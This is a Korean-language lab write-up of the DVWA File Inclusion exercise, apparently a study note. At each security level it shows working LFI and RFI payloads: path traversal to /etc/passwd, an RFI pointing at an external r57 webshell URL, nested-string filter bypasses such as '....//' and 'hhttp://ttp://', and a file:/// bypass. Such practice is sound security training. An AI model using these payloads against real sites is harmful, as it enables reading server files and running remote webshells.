[DVWA 실습] File Inclusion
✔ 공격대상 :
`file1.php`링크를 누르면 아래와 같은 결과가 나온다.
`localhost/dvwa/vunlerabilities/fi/?page=file1.php`에서 `page=file1.php` 부분을 `page=file4.php`로 입력하면, File Inclusion 공격이 잘 진행되는지 알 수 있다.
page 파라미터를 조작해서 원하는 파일을 실행시키는 공격을 진행하면 된다.
📌 1. Low Level
📕 LFI 공격
page 파라미터값에 `page=../../../../../../etc/passwd`을 입력하여 서버의 `/etc/passwd`파일을 읽도록한다.
📕 RFI 공격
page 파라미터값에 `page=http://naver.com`을 입력하면 외부의 링크 실행시킬 수 있다.
네이버 주소 말고 웹셸 주소(예:` http://www.webshell.com/r57.php`)를 입력하면 공격자가 미리 외부에 업로드해 놓은 webshell을 실행시킬 수 있다.
📌 2. Medium Level
Low Level에서 실행되었던, `page=../../../../../../etc/passwd`와 `page=http://www.naver.com` 둘 다 실행이 되지 않는다.
✔ 소스코드 확인하기
👉 소스코드를 확인해 보면 `http://`, `https://`, `../`, `..\`가 입력되면 ""(공백)으로 대체된다.
필터링되지 않는 문자열을 찾아야 한다.
📕 LFI 공격
`../`는 공백으로 치환되므로, `../`를 `../`사이에 넣으면 된다.
그러면 `....//`가 되는데, `....//`에서 `../`만 공백으로 대체되기 때문에, `../`이 남게 된다.
👉 `....//....//....//....//....//....//etc/passwd`를 넣게된면, `../`이 공백으로 치환되면서 `../../../../../../etc/passwd`가 남게 되면서 공격에 성공하게 된다.
📕 RFI 공격
위의 LFI공격과 마찬가지로 필터링되는 문자열을 겹쳐서 넣으면 된다. (`http://` 를 공백으로 치환하니까, `http://` 사이에 `http://`를 넣어 주면 된다)
👉 `hhttp://ttp://http://www.naver.com`을 넣어준다면, `http://www.naver.com`으로 치환되면서 공격에 성공하게 된다.
📌 3. High Level
High level에서는, low와 medium의 공격 방식이 통하지 않는다.
✔ 소스코드 확인
👉 소스코드를 확인해 보면, 'page'인자값인 `$file`값이 `file*` 패턴에 맞지 않고, `include.php`와도 일치하지 않으면 에러 메시지를 출력하고 종료한다. 즉, `file`로 시작하고 `include.php`가 포함되어 있어야만 실행되는 것을 확인할 수 있다.
👉 그렇기 때문에 `http://`로 시작하는 외부 URL을 삽입하는 `RFI 공격`은 실행되지 않는다는 것을 알 수 있다.
📕 LFI 공격
👉 `file:///`로 로컬 파일을 불러올 수 있다. 인자값으로 `file:///../../../../../etc/passwd`를 입력하면 파일이 불러와진다. 공격 성공!
📕 RFI
👉 필터링으로 공격 불가
📌 4. Impossible Level
✔ 소스코드 확인
👉 소스코드를 확인해 보면, `page` 인자값으로 정확한 파일명을 입력하지 않으면 실행되지 않아서 공격이 불가능하다는 것을 알 수 있다.